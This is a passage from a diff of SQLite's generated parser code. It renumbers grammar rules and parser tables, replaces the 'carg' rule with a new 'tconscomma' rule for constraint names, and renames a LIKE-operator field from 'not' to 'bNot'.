 /*   500 */   706,  705,  711,  710,  709,  708,  707,  704,  703,  702,
-
 /*   510 */   695,  694,  700,  693,  716,  715,  712,  692,  735,  734,
-
 /*   520 */   733,  730,  691,  690,  689,  820,  688,  687,  826,  825,
-
 /*   530 */   813,  856,  755,  754,  753,  765,  764,  777,  776,  811,
-
 /*   540 */   810,  778,  763,  757,  756,  772,  771,  770,  769,  761,
-
 /*   550 */   751,  783,  785,  784,  782,  858,  767,  855,  926,  925,
-
 /*   560 */   924,  923,  922,  860,  859,  827,  824,  678,  679,  895,
-
 /*   570 */   894,  896,  893,  681,  680,  677,  676,  857,  746,  745,
-
 /*   580 */   853,  850,  842,  838,  854,  851,  843,  839,  837,  836,
-
 /*   590 */   822,  821,  819,  818,  814,  823,  669,  747,  743,  742,
-
 /*   600 */   812,  749,  748,  686,  684,  682,  663,  661,  654,  652,
-
 /*   610 */   651,  653,  649,  647,  646,  645,  644,  643,  672,  671,
-
 /*   620 */   670,  668,  667,  641,  638,  637,  633,  632,  630,
+
 /*     0 */   632,  866,  954,  954,  866,  866,  954,  954,  954,  756,
+
 /*    10 */   954,  954,  954,  864,  954,  954,  784,  784,  928,  954,
+
 /*    20 */   954,  954,  954,  954,  954,  954,  954,  954,  954,  954,
+
 /*    30 */   954,  954,  954,  954,  954,  954,  954,  954,  954,  954,
+
 /*    40 */   954,  954,  954,  954,  954,  954,  954,  954,  954,  954,
+
 /*    50 */   954,  954,  954,  954,  954,  954,  954,  954,  954,  954,
+
 /*    60 */   954,  954,  954,  954,  954,  954,  954,  671,  760,  790,
+
 /*    70 */   954,  954,  954,  954,  954,  954,  954,  954,  927,  929,
+
 /*    80 */   798,  797,  907,  771,  795,  788,  792,  867,  860,  861,
+
 /*    90 */   859,  863,  868,  954,  791,  827,  844,  826,  838,  843,
+
 /*   100 */   850,  842,  839,  829,  828,  830,  831,  954,  954,  954,
+
 /*   110 */   954,  954,  954,  954,  954,  954,  954,  954,  954,  954,
+
 /*   120 */   954,  954,  954,  658,  725,  954,  954,  954,  954,  954,
+
 /*   130 */   954,  954,  954,  832,  833,  847,  846,  845,  954,  663,
+
 /*   140 */   954,  954,  954,  954,  954,  954,  954,  954,  954,  954,
+
 /*   150 */   934,  932,  954,  879,  954,  954,  954,  954,  954,  954,
+
 /*   160 */   954,  954,  954,  954,  954,  954,  954,  954,  954,  954,
+
 /*   170 */   954,  954,  954,  954,  954,  954,  954,  954,  954,  954,
+
 /*   180 */   638,  756,  756,  756,  632,  954,  954,  954,  946,  760,
+
 /*   190 */   750,  954,  954,  954,  954,  954,  954,  954,  954,  954,
+
 /*   200 */   954,  954,  954,  800,  739,  917,  919,  954,  900,  737,
+
 /*   210 */   660,  758,  673,  748,  640,  794,  773,  773,  912,  794,
+
 /*   220 */   912,  696,  719,  954,  784,  954,  784,  693,  784,  773,
+
 /*   230 */   862,  954,  954,  954,  757,  748,  954,  939,  764,  764,
+
 /*   240 */   931,  931,  764,  806,  729,  794,  736,  736,  736,  736,
+
 /*   250 */   764,  655,  794,  806,  729,  729,  764,  655,  906,  904,
+
 /*   260 */   764,  764,  655,  764,  655,  764,  655,  872,  727,  727,
+
 /*   270 */   727,  711,  876,  876,  872,  727,  696,  727,  711,  727,
+
 /*   280 */   727,  777,  772,  777,  772,  777,  772,  764,  764,  954,
+
 /*   290 */   789,  778,  787,  785,  794,  954,  714,  648,  648,  637,
+
 /*   300 */   637,  637,  637,  951,  951,  946,  698,  698,  681,  954,
+
 /*   310 */   954,  954,  954,  954,  954,  954,  881,  954,  954,  954,
+
 /*   320 */   954,  954,  954,  954,  954,  954,  954,  954,  954,  633,
+
 /*   330 */   941,  954,  954,  938,  954,  954,  954,  954,  799,  954,
+
 /*   340 */   954,  954,  954,  954,  954,  954,  954,  954,  954,  916,
+
 /*   350 */   954,  954,  954,  954,  954,  954,  954,  910,  954,  954,
+
 /*   360 */   954,  954,  954,  954,  903,  902,  954,  954,  954,  954,
+
 /*   370 */   954,  954,  954,  954,  954,  954,  954,  954,  954,  954,
+
 /*   380 */   954,  954,  954,  954,  954,  954,  954,  954,  954,  954,
+
 /*   390 */   954,  954,  786,  954,  779,  954,  865,  954,  954,  954,
+
 /*   400 */   954,  954,  954,  954,  954,  954,  954,  742,  815,  954,
+
 /*   410 */   814,  818,  813,  665,  954,  646,  954,  629,  634,  950,
+
 /*   420 */   953,  952,  949,  948,  947,  942,  940,  937,  936,  935,
+
 /*   430 */   933,  930,  926,  885,  883,  890,  889,  888,  887,  886,
+
 /*   440 */   884,  882,  880,  801,  796,  793,  925,  878,  738,  735,
+
 /*   450 */   734,  654,  943,  909,  918,  805,  804,  807,  915,  914,
+
 /*   460 */   913,  911,  908,  895,  803,  802,  730,  870,  869,  657,
+
 /*   470 */   899,  898,  897,  901,  905,  896,  766,  656,  653,  662,
+
 /*   480 */   717,  718,  726,  724,  723,  722,  721,  720,  716,  664,
+
 /*   490 */   672,  710,  695,  694,  875,  877,  874,  873,  703,  702,
+
 /*   500 */   708,  707,  706,  705,  704,  701,  700,  699,  692,  691,
+
 /*   510 */   697,  690,  713,  712,  709,  689,  733,  732,  731,  728,
+
 /*   520 */   688,  687,  686,  818,  685,  684,  824,  823,  811,  854,
+
 /*   530 */   753,  752,  751,  763,  762,  775,  774,  809,  808,  776,
+
 /*   540 */   761,  755,  754,  770,  769,  768,  767,  759,  749,  781,
+
 /*   550 */   783,  782,  780,  856,  765,  853,  924,  923,  922,  921,
+
 /*   560 */   920,  858,  857,  825,  822,  676,  677,  893,  892,  894,
+
 /*   570 */   891,  679,  678,  675,  674,  855,  744,  743,  851,  848,
+
 /*   580 */   840,  836,  852,  849,  841,  837,  835,  834,  820,  819,
+
 /*   590 */   817,  816,  812,  821,  667,  745,  741,  740,  810,  747,
+
 /*   600 */   746,  683,  682,  680,  661,  659,  652,  650,  649,  651,
+
 /*   610 */   647,  645,  644,  643,  642,  641,  670,  669,  668,  666,
+
 /*   620 */   665,  639,  636,  635,  631,  630,  628,
};

/* The next table maps tokens into fallback tokens.  If a construct
@@ -108750,10 +109894,10 @@ static const char *const yyTokenName[] = {
  "select",        "column",        "columnid",      "type",        
  "carglist",      "id",            "ids",           "typetoken",   
  "typename",      "signed",        "plus_num",      "minus_num",   
-
  "carg",          "ccons",         "term",          "expr",        
-
  "onconf",        "sortorder",     "autoinc",       "idxlist_opt", 
-
  "refargs",       "defer_subclause",  "refarg",        "refact",      
-
  "init_deferred_pred_opt",  "conslist",      "tcons",         "idxlist",     
+
  "ccons",         "term",          "expr",          "onconf",      
+
  "sortorder",     "autoinc",       "idxlist_opt",   "refargs",     
+
  "defer_subclause",  "refarg",        "refact",        "init_deferred_pred_opt",
+
  "conslist",      "tconscomma",    "tcons",         "idxlist",     
  "defer_subclause_opt",  "orconf",        "resolvetype",   "raisetype",   
  "ifexists",      "fullname",      "oneselect",     "multiselect_op",
  "distinct",      "selcollist",    "from",          "where_opt",   
@@ -108830,46 +109974,46 @@ static const char *const yyRuleName[] = {
 /*  50 */ "typename ::= typename ids",
 /*  51 */ "signed ::= plus_num",
 /*  52 */ "signed ::= minus_num",
-
 /*  53 */ "carglist ::= carglist carg",
+
 /*  53 */ "carglist ::= carglist ccons",
 /*  54 */ "carglist ::=",
-
 /*  55 */ "carg ::= CONSTRAINT nm ccons",
-
 /*  56 */ "carg ::= ccons",
-
 /*  57 */ "ccons ::= DEFAULT term",
-
 /*  58 */ "ccons ::= DEFAULT LP expr RP",
-
 /*  59 */ "ccons ::= DEFAULT PLUS term",
-
 /*  60 */ "ccons ::= DEFAULT MINUS term",
-
 /*  61 */ "ccons ::= DEFAULT id",
-
 /*  62 */ "ccons ::= NULL onconf",
-
 /*  63 */ "ccons ::= NOT NULL onconf",
-
 /*  64 */ "ccons ::= PRIMARY KEY sortorder onconf autoinc",
-
 /*  65 */ "ccons ::= UNIQUE onconf",
-
 /*  66 */ "ccons ::= CHECK LP expr RP",
-
 /*  67 */ "ccons ::= REFERENCES nm idxlist_opt refargs",
-
 /*  68 */ "ccons ::= defer_subclause",
-
 /*  69 */ "ccons ::= COLLATE ids",
-
 /*  70 */ "autoinc ::=",
-
 /*  71 */ "autoinc ::= AUTOINCR",
-
 /*  72 */ "refargs ::=",
-
 /*  73 */ "refargs ::= refargs refarg",
-
 /*  74 */ "refarg ::= MATCH nm",
-
 /*  75 */ "refarg ::= ON INSERT refact",
-
 /*  76 */ "refarg ::= ON DELETE refact",
-
 /*  77 */ "refarg ::= ON UPDATE refact",
-
 /*  78 */ "refact ::= SET NULL",
-
 /*  79 */ "refact ::= SET DEFAULT",
-
 /*  80 */ "refact ::= CASCADE",
-
 /*  81 */ "refact ::= RESTRICT",
-
 /*  82 */ "refact ::= NO ACTION",
-
 /*  83 */ "defer_subclause ::= NOT DEFERRABLE init_deferred_pred_opt",
-
 /*  84 */ "defer_subclause ::= DEFERRABLE init_deferred_pred_opt",
-
 /*  85 */ "init_deferred_pred_opt ::=",
-
 /*  86 */ "init_deferred_pred_opt ::= INITIALLY DEFERRED",
-
 /*  87 */ "init_deferred_pred_opt ::= INITIALLY IMMEDIATE",
-
 /*  88 */ "conslist_opt ::=",
-
 /*  89 */ "conslist_opt ::= COMMA conslist",
-
 /*  90 */ "conslist ::= conslist COMMA tcons",
-
 /*  91 */ "conslist ::= conslist tcons",
-
 /*  92 */ "conslist ::= tcons",
+
 /*  55 */ "ccons ::= CONSTRAINT nm",
+
 /*  56 */ "ccons ::= DEFAULT term",
+
 /*  57 */ "ccons ::= DEFAULT LP expr RP",
+
 /*  58 */ "ccons ::= DEFAULT PLUS term",
+
 /*  59 */ "ccons ::= DEFAULT MINUS term",
+
 /*  60 */ "ccons ::= DEFAULT id",
+
 /*  61 */ "ccons ::= NULL onconf",
+
 /*  62 */ "ccons ::= NOT NULL onconf",
+
 /*  63 */ "ccons ::= PRIMARY KEY sortorder onconf autoinc",
+
 /*  64 */ "ccons ::= UNIQUE onconf",
+
 /*  65 */ "ccons ::= CHECK LP expr RP",
+
 /*  66 */ "ccons ::= REFERENCES nm idxlist_opt refargs",
+
 /*  67 */ "ccons ::= defer_subclause",
+
 /*  68 */ "ccons ::= COLLATE ids",
+
 /*  69 */ "autoinc ::=",
+
 /*  70 */ "autoinc ::= AUTOINCR",
+
 /*  71 */ "refargs ::=",
+
 /*  72 */ "refargs ::= refargs refarg",
+
 /*  73 */ "refarg ::= MATCH nm",
+
 /*  74 */ "refarg ::= ON INSERT refact",
+
 /*  75 */ "refarg ::= ON DELETE refact",
+
 /*  76 */ "refarg ::= ON UPDATE refact",
+
 /*  77 */ "refact ::= SET NULL",
+
 /*  78 */ "refact ::= SET DEFAULT",
+
 /*  79 */ "refact ::= CASCADE",
+
 /*  80 */ "refact ::= RESTRICT",
+
 /*  81 */ "refact ::= NO ACTION",
+
 /*  82 */ "defer_subclause ::= NOT DEFERRABLE init_deferred_pred_opt",
+
 /*  83 */ "defer_subclause ::= DEFERRABLE init_deferred_pred_opt",
+
 /*  84 */ "init_deferred_pred_opt ::=",
+
 /*  85 */ "init_deferred_pred_opt ::= INITIALLY DEFERRED",
+
 /*  86 */ "init_deferred_pred_opt ::= INITIALLY IMMEDIATE",
+
 /*  87 */ "conslist_opt ::=",
+
 /*  88 */ "conslist_opt ::= COMMA conslist",
+
 /*  89 */ "conslist ::= conslist tconscomma tcons",
+
 /*  90 */ "conslist ::= tcons",
+
 /*  91 */ "tconscomma ::= COMMA",
+
 /*  92 */ "tconscomma ::=",
 /*  93 */ "tcons ::= CONSTRAINT nm",
 /*  94 */ "tcons ::= PRIMARY KEY LP idxlist autoinc RP onconf",
 /*  95 */ "tcons ::= UNIQUE LP idxlist RP onconf",
@@ -109188,13 +110332,13 @@ static void yy_destructor(
sqlite3SelectDelete(pParse->db, (yypminor->yy159));
}
      break;
-
    case 174: /* term */
-
    case 175: /* expr */
+
    case 173: /* term */
+
    case 174: /* expr */
{
sqlite3ExprDelete(pParse->db, (yypminor->yy342).pExpr);
}
      break;
-
    case 179: /* idxlist_opt */
+
    case 178: /* idxlist_opt */
    case 187: /* idxlist */
    case 197: /* selcollist */
    case 200: /* groupby_opt */
@@ -109551,44 +110695,44 @@ static const struct {
  { 169, 1 },
  { 164, 2 },
  { 164, 0 },
+
  { 172, 2 },
+
  { 172, 2 },
+
  { 172, 4 },
+
  { 172, 3 },
  { 172, 3 },
+
  { 172, 2 },
+
  { 172, 2 },
+
  { 172, 3 },
+
  { 172, 5 },
+
  { 172, 2 },
+
  { 172, 4 },
+
  { 172, 4 },
  { 172, 1 },
-
  { 173, 2 },
-
  { 173, 4 },
-
  { 173, 3 },
-
  { 173, 3 },
-
  { 173, 2 },
-
  { 173, 2 },
-
  { 173, 3 },
-
  { 173, 5 },
-
  { 173, 2 },
-
  { 173, 4 },
-
  { 173, 4 },
-
  { 173, 1 },
-
  { 173, 2 },
-
  { 178, 0 },
-
  { 178, 1 },
-
  { 180, 0 },
-
  { 180, 2 },
+
  { 172, 2 },
+
  { 177, 0 },
+
  { 177, 1 },
+
  { 179, 0 },
+
  { 179, 2 },
+
  { 181, 2 },
+
  { 181, 3 },
+
  { 181, 3 },
+
  { 181, 3 },
  { 182, 2 },
-
  { 182, 3 },
-
  { 182, 3 },
-
  { 182, 3 },
-
  { 183, 2 },
+
  { 182, 2 },
+
  { 182, 1 },
+
  { 182, 1 },
+
  { 182, 2 },
+
  { 180, 3 },
+
  { 180, 2 },
+
  { 183, 0 },
  { 183, 2 },
-
  { 183, 1 },
-
  { 183, 1 },
  { 183, 2 },
-
  { 181, 3 },
-
  { 181, 2 },
-
  { 184, 0 },
-
  { 184, 2 },
-
  { 184, 2 },
  { 159, 0 },
  { 159, 2 },
-
  { 185, 3 },
-
  { 185, 2 },
+
  { 184, 3 },
+
  { 184, 1 },
  { 185, 1 },
+
  { 185, 0 },
  { 186, 2 },
  { 186, 7 },
  { 186, 5 },
@@ -109596,8 +110740,8 @@ static const struct {
  { 186, 10 },
  { 188, 0 },
  { 188, 1 },
-
  { 176, 0 },
-
  { 176, 3 },
+
  { 175, 0 },
+
  { 175, 3 },
  { 189, 0 },
  { 189, 2 },
  { 190, 1 },
@@ -109651,9 +110795,9 @@ static const struct {
  { 202, 3 },
  { 214, 4 },
  { 214, 2 },
-
  { 177, 1 },
-
  { 177, 1 },
-
  { 177, 0 },
+
  { 176, 1 },
+
  { 176, 1 },
+
  { 176, 0 },
  { 200, 0 },
  { 200, 3 },
  { 201, 0 },
@@ -109679,55 +110823,55 @@ static const struct {
  { 218, 3 },
  { 213, 3 },
  { 213, 1 },
-
  { 175, 1 },
-
  { 175, 3 },
  { 174, 1 },
-
  { 175, 1 },
-
  { 175, 1 },
-
  { 175, 3 },
-
  { 175, 5 },
+
  { 174, 3 },
+
  { 173, 1 },
  { 174, 1 },
  { 174, 1 },
-
  { 175, 1 },
-
  { 175, 1 },
-
  { 175, 3 },
-
  { 175, 6 },
-
  { 175, 5 },
-
  { 175, 4 },
+
  { 174, 3 },
+
  { 174, 5 },
+
  { 173, 1 },
+
  { 173, 1 },
  { 174, 1 },
-
  { 175, 3 },
-
  { 175, 3 },
-
  { 175, 3 },
-
  { 175, 3 },
-
  { 175, 3 },
-
  { 175, 3 },
-
  { 175, 3 },
-
  { 175, 3 },
+
  { 174, 1 },
+
  { 174, 3 },
+
  { 174, 6 },
+
  { 174, 5 },
+
  { 174, 4 },
+
  { 173, 1 },
+
  { 174, 3 },
+
  { 174, 3 },
+
  { 174, 3 },
+
  { 174, 3 },
+
  { 174, 3 },
+
  { 174, 3 },
+
  { 174, 3 },
+
  { 174, 3 },
  { 221, 1 },
  { 221, 2 },
  { 221, 1 },
  { 221, 2 },
-
  { 175, 3 },
-
  { 175, 5 },
-
  { 175, 2 },
-
  { 175, 3 },
-
  { 175, 3 },
-
  { 175, 4 },
-
  { 175, 2 },
-
  { 175, 2 },
-
  { 175, 2 },
-
  { 175, 2 },
+
  { 174, 3 },
+
  { 174, 5 },
+
  { 174, 2 },
+
  { 174, 3 },
+
  { 174, 3 },
+
  { 174, 4 },
+
  { 174, 2 },
+
  { 174, 2 },
+
  { 174, 2 },
+
  { 174, 2 },
  { 222, 1 },
  { 222, 2 },
-
  { 175, 5 },
+
  { 174, 5 },
  { 223, 1 },
  { 223, 2 },
-
  { 175, 5 },
-
  { 175, 3 },
-
  { 175, 5 },
-
  { 175, 4 },
-
  { 175, 4 },
-
  { 175, 5 },
+
  { 174, 5 },
+
  { 174, 3 },
+
  { 174, 5 },
+
  { 174, 4 },
+
  { 174, 4 },
+
  { 174, 5 },
  { 225, 5 },
  { 225, 4 },
  { 226, 2 },
@@ -109741,8 +110885,8 @@ static const struct {
  { 147, 11 },
  { 227, 1 },
  { 227, 0 },
-
  { 179, 0 },
-
  { 179, 3 },
+
  { 178, 0 },
+
  { 178, 3 },
  { 187, 5 },
  { 187, 3 },
  { 228, 0 },
@@ -109789,8 +110933,8 @@ static const struct {
  { 237, 5 },
  { 237, 5 },
  { 237, 1 },
-
  { 175, 4 },
-
  { 175, 6 },
+
  { 174, 4 },
+
  { 174, 6 },
  { 191, 1 },
  { 191, 1 },
  { 191, 1 },
@@ -109937,10 +111081,10 @@ static void yy_reduce(
        break;
      case 28: /* ifnotexists ::= */
      case 31: /* temp ::= */ yytestcase(yyruleno==31);
-
      case 70: /* autoinc ::= */ yytestcase(yyruleno==70);
-
      case 83: /* defer_subclause ::= NOT DEFERRABLE init_deferred_pred_opt */ yytestcase(yyruleno==83);
-
      case 85: /* init_deferred_pred_opt ::= */ yytestcase(yyruleno==85);
-
      case 87: /* init_deferred_pred_opt ::= INITIALLY IMMEDIATE */ yytestcase(yyruleno==87);
+
      case 69: /* autoinc ::= */ yytestcase(yyruleno==69);
+
      case 82: /* defer_subclause ::= NOT DEFERRABLE init_deferred_pred_opt */ yytestcase(yyruleno==82);
+
      case 84: /* init_deferred_pred_opt ::= */ yytestcase(yyruleno==84);
+
      case 86: /* init_deferred_pred_opt ::= INITIALLY IMMEDIATE */ yytestcase(yyruleno==86);
      case 98: /* defer_subclause_opt ::= */ yytestcase(yyruleno==98);
      case 109: /* ifexists ::= */ yytestcase(yyruleno==109);
      case 120: /* distinct ::= ALL */ yytestcase(yyruleno==120);
@@ -109951,8 +111095,8 @@ static void yy_reduce(
        break;
      case 29: /* ifnotexists ::= IF NOT EXISTS */
      case 30: /* temp ::= TEMP */ yytestcase(yyruleno==30);
-
      case 71: /* autoinc ::= AUTOINCR */ yytestcase(yyruleno==71);
-
      case 86: /* init_deferred_pred_opt ::= INITIALLY DEFERRED */ yytestcase(yyruleno==86);
+
      case 70: /* autoinc ::= AUTOINCR */ yytestcase(yyruleno==70);
+
      case 85: /* init_deferred_pred_opt ::= INITIALLY DEFERRED */ yytestcase(yyruleno==85);
      case 108: /* ifexists ::= IF EXISTS */ yytestcase(yyruleno==108);
      case 119: /* distinct ::= DISTINCT */ yytestcase(yyruleno==119);
      case 222: /* between_op ::= NOT BETWEEN */ yytestcase(yyruleno==222);
@@ -109980,6 +111124,7 @@ static void yy_reduce(
{
  sqlite3AddColumn(pParse,&yymsp[0].minor.yy0);
  yygotominor.yy0 = yymsp[0].minor.yy0;
+
  pParse->constraintName.n = 0;
}
        break;
      case 38: /* id ::= ID */
@@ -110025,14 +111170,18 @@ static void yy_reduce(
      case 50: /* typename ::= typename ids */
{yygotominor.yy0.z=yymsp[-1].minor.yy0.z; yygotominor.yy0.n=yymsp[0].minor.yy0.n+(int)(yymsp[0].minor.yy0.z-yymsp[-1].minor.yy0.z);}
        break;
-
      case 57: /* ccons ::= DEFAULT term */
-
      case 59: /* ccons ::= DEFAULT PLUS term */ yytestcase(yyruleno==59);
+
      case 55: /* ccons ::= CONSTRAINT nm */
+
      case 93: /* tcons ::= CONSTRAINT nm */ yytestcase(yyruleno==93);
+
{pParse->constraintName = yymsp[0].minor.yy0;}
+
        break;
+
      case 56: /* ccons ::= DEFAULT term */
+
      case 58: /* ccons ::= DEFAULT PLUS term */ yytestcase(yyruleno==58);
{sqlite3AddDefaultValue(pParse,&yymsp[0].minor.yy342);}
        break;
-
      case 58: /* ccons ::= DEFAULT LP expr RP */
+
      case 57: /* ccons ::= DEFAULT LP expr RP */
{sqlite3AddDefaultValue(pParse,&yymsp[-1].minor.yy342);}
        break;
-
      case 60: /* ccons ::= DEFAULT MINUS term */
+
      case 59: /* ccons ::= DEFAULT MINUS term */
{
  ExprSpan v;
  v.pExpr = sqlite3PExpr(pParse, TK_UMINUS, yymsp[0].minor.yy342.pExpr, 0, 0);
@@ -110041,77 +111190,80 @@ static void yy_reduce(
  sqlite3AddDefaultValue(pParse,&v);
}
        break;
-
      case 61: /* ccons ::= DEFAULT id */
+
      case 60: /* ccons ::= DEFAULT id */
{
  ExprSpan v;
  spanExpr(&v, pParse, TK_STRING, &yymsp[0].minor.yy0);
  sqlite3AddDefaultValue(pParse,&v);
}
        break;
-
      case 63: /* ccons ::= NOT NULL onconf */
+
      case 62: /* ccons ::= NOT NULL onconf */
{sqlite3AddNotNull(pParse, yymsp[0].minor.yy392);}
        break;
-
      case 64: /* ccons ::= PRIMARY KEY sortorder onconf autoinc */
+
      case 63: /* ccons ::= PRIMARY KEY sortorder onconf autoinc */
{sqlite3AddPrimaryKey(pParse,0,yymsp[-1].minor.yy392,yymsp[0].minor.yy392,yymsp[-2].minor.yy392);}
        break;
-
      case 65: /* ccons ::= UNIQUE onconf */
+
      case 64: /* ccons ::= UNIQUE onconf */
{sqlite3CreateIndex(pParse,0,0,0,0,yymsp[0].minor.yy392,0,0,0,0);}
        break;
-
      case 66: /* ccons ::= CHECK LP expr RP */
+
      case 65: /* ccons ::= CHECK LP expr RP */
{sqlite3AddCheckConstraint(pParse,yymsp[-1].minor.yy342.pExpr);}
        break;
-
      case 67: /* ccons ::= REFERENCES nm idxlist_opt refargs */
+
      case 66: /* ccons ::= REFERENCES nm idxlist_opt refargs */
{sqlite3CreateForeignKey(pParse,0,&yymsp[-2].minor.yy0,yymsp[-1].minor.yy442,yymsp[0].minor.yy392);}
        break;
-
      case 68: /* ccons ::= defer_subclause */
+
      case 67: /* ccons ::= defer_subclause */
{sqlite3DeferForeignKey(pParse,yymsp[0].minor.yy392);}
        break;
-
      case 69: /* ccons ::= COLLATE ids */
+
      case 68: /* ccons ::= COLLATE ids */
{sqlite3AddCollateType(pParse, &yymsp[0].minor.yy0);}
        break;
-
      case 72: /* refargs ::= */
+
      case 71: /* refargs ::= */
{ yygotominor.yy392 = OE_None*0x0101; /* EV: R-19803-45884 */}
        break;
-
      case 73: /* refargs ::= refargs refarg */
+
      case 72: /* refargs ::= refargs refarg */
{ yygotominor.yy392 = (yymsp[-1].minor.yy392 & ~yymsp[0].minor.yy207.mask) | yymsp[0].minor.yy207.value; }
        break;
-
      case 74: /* refarg ::= MATCH nm */
-
      case 75: /* refarg ::= ON INSERT refact */ yytestcase(yyruleno==75);
+
      case 73: /* refarg ::= MATCH nm */
+
      case 74: /* refarg ::= ON INSERT refact */ yytestcase(yyruleno==74);
{ yygotominor.yy207.value = 0;     yygotominor.yy207.mask = 0x000000; }
        break;
-
      case 76: /* refarg ::= ON DELETE refact */
+
      case 75: /* refarg ::= ON DELETE refact */
{ yygotominor.yy207.value = yymsp[0].minor.yy392;     yygotominor.yy207.mask = 0x0000ff; }
        break;
-
      case 77: /* refarg ::= ON UPDATE refact */
+
      case 76: /* refarg ::= ON UPDATE refact */
{ yygotominor.yy207.value = yymsp[0].minor.yy392<<8;  yygotominor.yy207.mask = 0x00ff00; }
        break;
-
      case 78: /* refact ::= SET NULL */
+
      case 77: /* refact ::= SET NULL */
{ yygotominor.yy392 = OE_SetNull;  /* EV: R-33326-45252 */}
        break;
-
      case 79: /* refact ::= SET DEFAULT */
+
      case 78: /* refact ::= SET DEFAULT */
{ yygotominor.yy392 = OE_SetDflt;  /* EV: R-33326-45252 */}
        break;
-
      case 80: /* refact ::= CASCADE */
+
      case 79: /* refact ::= CASCADE */
{ yygotominor.yy392 = OE_Cascade;  /* EV: R-33326-45252 */}
        break;
-
      case 81: /* refact ::= RESTRICT */
+
      case 80: /* refact ::= RESTRICT */
{ yygotominor.yy392 = OE_Restrict; /* EV: R-33326-45252 */}
        break;
-
      case 82: /* refact ::= NO ACTION */
+
      case 81: /* refact ::= NO ACTION */
{ yygotominor.yy392 = OE_None;     /* EV: R-33326-45252 */}
        break;
-
      case 84: /* defer_subclause ::= DEFERRABLE init_deferred_pred_opt */
+
      case 83: /* defer_subclause ::= DEFERRABLE init_deferred_pred_opt */
      case 99: /* defer_subclause_opt ::= defer_subclause */ yytestcase(yyruleno==99);
      case 101: /* onconf ::= ON CONFLICT resolvetype */ yytestcase(yyruleno==101);
      case 104: /* resolvetype ::= raisetype */ yytestcase(yyruleno==104);
{yygotominor.yy392 = yymsp[0].minor.yy392;}
        break;
-
      case 88: /* conslist_opt ::= */
+
      case 87: /* conslist_opt ::= */
{yygotominor.yy0.n = 0; yygotominor.yy0.z = 0;}
        break;
-
      case 89: /* conslist_opt ::= COMMA conslist */
+
      case 88: /* conslist_opt ::= COMMA conslist */
{yygotominor.yy0 = yymsp[-1].minor.yy0;}
        break;
+
      case 91: /* tconscomma ::= COMMA */
+
{pParse->constraintName.n = 0;}
+
        break;
      case 94: /* tcons ::= PRIMARY KEY LP idxlist autoinc RP onconf */
{sqlite3AddPrimaryKey(pParse,yymsp[-3].minor.yy442,yymsp[0].minor.yy392,yymsp[-2].minor.yy392,0);}
        break;
@@ -110527,11 +111679,11 @@ static void yy_reduce(
        break;
      case 207: /* likeop ::= LIKE_KW */
      case 209: /* likeop ::= MATCH */ yytestcase(yyruleno==209);
-
{yygotominor.yy318.eOperator = yymsp[0].minor.yy0; yygotominor.yy318.not = 0;}
+
{yygotominor.yy318.eOperator = yymsp[0].minor.yy0; yygotominor.yy318.bNot = 0;}
        break;
      case 208: /* likeop ::= NOT LIKE_KW */
      case 210: /* likeop ::= NOT MATCH */ yytestcase(yyruleno==210);
-
{yygotominor.yy318.eOperator = yymsp[0].minor.yy0; yygotominor.yy318.not = 1;}
+
{yygotominor.yy318.eOperator = yymsp[0].minor.yy0; yygotominor.yy318.bNot = 1;}
        break;
      case 211: /* expr ::= expr likeop expr */
{
@@ -110539,7 +111691,7 @@ static void yy_reduce(
  pList = sqlite3ExprListAppend(pParse,0, yymsp[0].minor.yy342.pExpr);
  pList = sqlite3ExprListAppend(pParse,pList, yymsp[-2].minor.yy342.pExpr);
  yygotominor.yy342.pExpr = sqlite3ExprFunction(pParse, pList, &yymsp[-1].minor.yy318.eOperator);
-
  if( yymsp[-1].minor.yy318.not ) yygotominor.yy342.pExpr = sqlite3PExpr(pParse, TK_NOT, yygotominor.yy342.pExpr, 0, 0);
+
  if( yymsp[-1].minor.yy318.bNot ) yygotominor.yy342.pExpr = sqlite3PExpr(pParse, TK_NOT, yygotominor.yy342.pExpr, 0, 0);
  yygotominor.yy342.zStart = yymsp[-2].minor.yy342.zStart;
  yygotominor.yy342.zEnd = yymsp[0].minor.yy342.zEnd;
  if( yygotominor.yy342.pExpr ) yygotominor.yy342.pExpr->flags |= EP_InfixFunc;
@@ -110552,7 +111704,7 @@ static void yy_reduce(
  pList = sqlite3ExprListAppend(pParse,pList, yymsp[-4].minor.yy342.pExpr);
  pList = sqlite3ExprListAppend(pParse,pList, yymsp[0].minor.yy342.pExpr);
  yygotominor.yy342.pExpr = sqlite3ExprFunction(pParse, pList, &yymsp[-3].minor.yy318.eOperator);
-
  if( yymsp[-3].minor.yy318.not ) yygotominor.yy342.pExpr = sqlite3PExpr(pParse, TK_NOT, yygotominor.yy342.pExpr, 0, 0);
+
  if( yymsp[-3].minor.yy318.bNot ) yygotominor.yy342.pExpr = sqlite3PExpr(pParse, TK_NOT, yygotominor.yy342.pExpr, 0, 0);
  yygotominor.yy342.zStart = yymsp[-4].minor.yy342.zStart;
  yygotominor.yy342.zEnd = yymsp[0].minor.yy342.zEnd;
  if( yygotominor.yy342.pExpr ) yygotominor.yy342.pExpr->flags |= EP_InfixFunc;
@@ -110979,15 +112131,12 @@ static void yy_reduce(
      /* (44) type ::= */ yytestcase(yyruleno==44);
      /* (51) signed ::= plus_num */ yytestcase(yyruleno==51);
      /* (52) signed ::= minus_num */ yytestcase(yyruleno==52);
-
      /* (53) carglist ::= carglist carg */ yytestcase(yyruleno==53);
+
      /* (53) carglist ::= carglist ccons */ yytestcase(yyruleno==53);
      /* (54) carglist ::= */ yytestcase(yyruleno==54);
-
      /* (55) carg ::= CONSTRAINT nm ccons */ yytestcase(yyruleno==55);
-
      /* (56) carg ::= ccons */ yytestcase(yyruleno==56);
-
      /* (62) ccons ::= NULL onconf */ yytestcase(yyruleno==62);
-
      /* (90) conslist ::= conslist COMMA tcons */ yytestcase(yyruleno==90);
-
      /* (91) conslist ::= conslist tcons */ yytestcase(yyruleno==91);
-
      /* (92) conslist ::= tcons */ yytestcase(yyruleno==92);
-
      /* (93) tcons ::= CONSTRAINT nm */ yytestcase(yyruleno==93);
+
      /* (61) ccons ::= NULL onconf */ yytestcase(yyruleno==61);
+
      /* (89) conslist ::= conslist tconscomma tcons */ yytestcase(yyruleno==89);
+
      /* (90) conslist ::= tcons */ yytestcase(yyruleno==90);
+
      /* (92) tconscomma ::= */ yytestcase(yyruleno==92);
      /* (277) foreach_clause ::= */ yytestcase(yyruleno==277);
      /* (278) foreach_clause ::= FOR EACH ROW */ yytestcase(yyruleno==278);
      /* (285) tridxby ::= */ yytestcase(yyruleno==285);
@@ -112511,6 +113660,15 @@ SQLITE_PRIVATE void (*sqlite3IoTrace)(const char*, ...) = 0;
SQLITE_API char *sqlite3_temp_directory = 0;

/*
+
